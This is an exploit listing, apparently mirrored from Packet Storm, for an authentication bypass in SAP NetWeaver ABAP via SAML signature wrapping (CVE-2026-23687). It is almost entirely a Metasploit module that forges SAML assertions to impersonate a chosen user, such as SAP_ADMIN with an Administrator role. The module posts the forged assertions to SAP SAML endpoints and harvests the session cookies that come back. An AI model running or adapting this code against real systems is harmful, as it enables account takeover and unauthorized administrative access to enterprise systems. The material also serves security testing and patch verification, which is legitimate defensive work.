Share
## https://sploitus.com/exploit?id=PACKETSTORM:225174
==================================================================================================================================
    | # Title     : SAP NetWeaver ABAP SAML XML Signature Wrapping Authentication Bypass                                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.sap.com/                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    :   a SAML authentication bypass vulnerability in SAP NetWeaver ABAP (SAP_BASIS versions 700โ€“918).
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Report
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::Auth::SAML
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'SAP NetWeaver ABAP SAML XML Signature Wrapping',
          'Description'    => %q{
            This module exploits a vulnerability in SAP NetWeaver ABAP's SAML Service Provider
            implementation (CVE-2026-23687). The vulnerability allows an attacker to bypass
            SAML signature verification through XML Signature wrapping attacks.
    
            By crafting a SAML response with a wrapped signature using <Object> tags, an
            attacker can manipulate the SAML assertion data while maintaining a valid
            cryptographic signature. This allows authentication as arbitrary users with
            SAML mapping enabled.
    
            Affects SAP_BASIS versions 700 through 918.
          },
          'Author'         => ['indoushka'],
          'References'     => [
            ['CVE', '2026-23687'],
            ['URL', 'https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-004.txt'],
            ['URL', 'https://github.com/CompassSecurity/SAMLRaider'],
            ['URL', 'https://www.w3.org/TR/xmldsig-core1/#sec-Object'],
            ['SAP', '3697567']                      
          ],
          'DisclosureDate' => '2026-06-08',
          'License'        => MSF_LICENSE,
          'Notes'          => {
            'Stability'   => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS]
          }
        ))
        register_options([
          OptString.new('TARGET_URL', [true, 'SAP NetWeaver target URL', 'https://sap.example.com']),
          OptString.new('SAML_IDP_URL', [true, 'SAML Identity Provider URL', 'https://idp.example.com/saml']),
          OptString.new('TARGET_USER', [true, 'Target user to impersonate', 'SAP_ADMIN']),
          OptString.new('ORIGINAL_SAML_RESPONSE', [true, 'Valid SAML response from legitimate user', nil]),
          OptString.new('SP_ENTITY_ID', [true, 'Service Provider Entity ID', 'sap.example.com']),
          OptString.new('IDP_ENTITY_ID', [true, 'Identity Provider Entity ID', 'idp.example.com']),
          OptInt.new('MAX_ATTEMPTS', [false, 'Maximum authentication attempts', 5]),
          OptBool.new('USE_ENCRYPTION', [false, 'SAML response encryption enabled', false])
        ])
        register_advanced_options([
          OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 30]),
          OptBool.new('VERIFY_CERT', [false, 'Verify SSL certificate', false]),
          OptString.new('PROXY', [false, 'HTTP proxy', nil])
        ])
      end
      def create_wrapped_saml_response(original_response, target_user)
        print_status("Creating wrapped SAML response for user: #{target_user}")
        begin
          doc = Nokogiri::XML(original_response)
          doc.remove_namespaces!
        rescue => e
          print_error("Failed to parse SAML response: #{e.message}")
          return nil
        end
        signature = doc.at_xpath('//Signature')
        assertion = doc.at_xpath('//Assertion')
        if signature.nil? || assertion.nil?
          print_error("Could not find Signature or Assertion in SAML response")
          return nil
        end
        wrapped_saml = <<~XML
          <?xml version="1.0" encoding="UTF-8"?>
          <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                          xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
                          ID="#{generate_saml_id}"
                          Version="2.0"
                          IssueInstant="#{Time.now.utc.iso8601}"
                          Destination="#{datastore['TARGET_URL']}">
            <saml:Issuer>#{datastore['IDP_ENTITY_ID']}</saml:Issuer>
            <samlp:Status>
              <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
            </samlp:Status>
            <saml:Assertion ID="#{assertion['ID'] || generate_saml_id}">
              #{signature.to_xml}
              <Object>
                #{assertion.to_xml}
              </Object>
              <Subject>
                <saml:NameID>#{target_user}</saml:NameID>
                <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                  <saml:SubjectConfirmationData NotOnOrAfter="#{(Time.now + 3600).utc.iso8601}"
                                               Recipient="#{datastore['TARGET_URL']}"/>
                </saml:SubjectConfirmation>
              </Subject>
              <AttributeStatement>
                <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name">
                  <saml:AttributeValue>#{target_user}</saml:AttributeValue>
                </saml:Attribute>
                <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress">
                  <saml:AttributeValue>#{target_user}@sap.example.com</saml:AttributeValue>
                </saml:Attribute>
                <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/role">
                  <saml:AttributeValue>Administrator</saml:AttributeValue>
                </saml:Attribute>
              </AttributeStatement>
            </saml:Assertion>
          </samlp:Response>
        XML
        encoded_response = Rex::Text.encode_base64(wrapped_saml)
        print_status("Wrapped SAML response created (#{encoded_response.length} bytes)")
        return encoded_response
      end
      def send_saml_assertion(saml_response)
        print_status("Sending crafted SAML assertion to SAP NetWeaver")
        saml_endpoints = [
          '/sap/bc/sec/saml2',
          '/sap/bc/sec/saml2/callback',
          '/sap/bc/sec/saml2/sso',
          '/sap/public/sec/saml2',
          '/sap/bc/webdynpro/saml2'
        ]
        endpoints_to_try = saml_endpoints
        if datastore['TARGET_URL'].include?('/sap/')
          endpoints_to_try = [URI(datastore['TARGET_URL']).path]
        end
        endpoints_to_try.each do |endpoint|
          uri = normalize_uri(endpoint)
          post_data = {
            'SAMLResponse' => saml_response,
            'RelayState' => generate_relay_state
          }
          print_status("Trying endpoint: #{uri}")
          
          begin
            res = send_request_cgi({
              'method' => 'POST',
              'uri' => uri,
              'vars_post' => post_data,
              'headers' => {
                'Content-Type' => 'application/x-www-form-urlencoded'
              }
            }, datastore['TIMEOUT'])
            if res
              print_status("Response status: #{res.code}")
              if successful_authentication?(res)
                print_good("Successfully authenticated as #{datastore['TARGET_USER']}!")
                extract_session_info(res)
                return true
              elsif res.code == 302
                print_status("Redirect received - might indicate partial success")
                check_redirect_location(res)
              elsif res.code == 200
                if res.body.include?('SAP NetWeaver') || res.body.include?('sap-system')
                  print_status("SAP response received, checking for access...")
                  if check_sap_access(res)
                    print_good("Access granted! Session established.")
                    return true
                  end
                end
              else
                print_status("Unexpected response: #{res.code}")
              end
            else
              print_error("No response from endpoint: #{endpoint}")
            end
          rescue ::Rex::ConnectionError => e
            print_error("Connection error: #{e.message}")
          rescue => e
            print_error("Error: #{e.message}")
          end
        end
        return false
      end
      def successful_authentication?(response)
        success_indicators = [
          'sap-system',
          'SAP Session',
          'MYSAPSSO2',
          'sap-usercontext',
          'sap-login',
          'welcome',
          'dashboard'
        ]
        if response.get_cookies
          cookies = response.get_cookies
          if cookies.include?('MYSAPSSO2') || cookies.include?('SAP_SESSIONID')
            print_good("Found SAP session cookies")
            return true
          end
        end
        if response.body
          success_indicators.each do |indicator|
            if response.body.downcase.include?(indicator.downcase)
              print_good("Found indicator: #{indicator}")
              return true
            end
          end
        end
        return false
      end
      def extract_session_info(response)
        session_info = {
          'cookies' => response.get_cookies,
          'headers' => response.headers
        }
        path = store_loot(
          'sap.saml.session',
          'text/plain',
          rhost,
          session_info.to_json,
          'sap_saml_session.txt',
          'SAP SAML session information'
        )
        print_good("Session information saved to: #{path}")
        if response.get_cookies =~ /MYSAPSSO2=([^;]+)/
          print_good("MYSAPSSO2 Cookie: #{$1}")
        end
        if response.get_cookies =~ /SAP_SESSIONID[^=]*=([^;]+)/
          print_good("SAP Session ID: #{$1}")
        end
      end
      def check_redirect_location(response)
        if response.headers['Location']
          location = response.headers['Location']
          print_status("Redirect to: #{location}")
          if location.include?('sap') && !location.include?('error')
            print_good("Redirect appears successful")
          end
        end
      end
      def check_sap_access(response)
        test_paths = [
          '/sap/bc/gui/sap/its/webgui',
          '/sap/bc/webdynpro/sap',
          '/sap/bc/ui2/flp'
        ]
        test_paths.each do |path|
          begin
            res = send_request_cgi({
              'method' => 'GET',
              'uri' => path,
              'cookie' => response.get_cookies
            }, datastore['TIMEOUT'])
            
            if res && res.code == 200
              print_good("Access granted to #{path}")
              return true
            end
          rescue
            next
          end
        end
        return false
      end
      def generate_saml_id
        "_#{Rex::Text.rand_text_alphanumeric(32)}"
      end
      def generate_relay_state
        Rex::Text.rand_text_alphanumeric(16)
      end
      def load_original_saml_response
        original_response = datastore['ORIGINAL_SAML_RESPONSE']
        if original_response.nil? || original_response.empty?
          print_error("ORIGINAL_SAML_RESPONSE is required")
          return nil
        end
        if File.exist?(original_response)
          print_status("Loading SAML response from file: #{original_response}")
          return File.read(original_response)
        end
        begin
          decoded = Rex::Text.decode_base64(original_response)
          if decoded && decoded.include?('saml')
            print_status("Decoded base64 SAML response")
            return decoded
          end
        rescue
        end
        return original_response
      end
      def run
        print_status("Starting SAP NetWeaver SAML XML Signature Wrapping exploit")
        print_status("CVE-2026-23687 - SAP_BASIS 700-918")
        original_response = load_original_saml_response
        if original_response.nil?
          print_error("Failed to load original SAML response")
          return
        end
        (1..datastore['MAX_ATTEMPTS']).each do |attempt|
          print_status("Attempt #{attempt}/#{datastore['MAX_ATTEMPTS']}")
          wrapped_response = create_wrapped_saml_response(original_response, datastore['TARGET_USER'])
          if wrapped_response.nil?
            print_error("Failed to create wrapped SAML response")
            next
          end
          if send_saml_assertion(wrapped_response)
            print_good("Exploit successful! Impersonated user: #{datastore['TARGET_USER']}")
            report_vuln({
              :host => rhost,
              :port => rport,
              :name => self.name,
              :refs => self.references,
              :info => "SAP NetWeaver SAML XML Signature Wrapping vulnerability allows user impersonation",
              :data => "Target user: #{datastore['TARGET_USER']}"
            })
            return
          end
          sleep(2) if attempt < datastore['MAX_ATTEMPTS']
        end
        print_error("Exploit failed after #{datastore['MAX_ATTEMPTS']} attempts")
        print_status("Troubleshooting tips:")
        print_status("1. Verify the original SAML response is valid")
        print_status("2. Check if SAP_BASIS version is affected (700-918)")
        print_status("3. Ensure patch SAP Note 3697567 is not applied")
        print_status("4. Try different SAML endpoints")
      end
    end
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================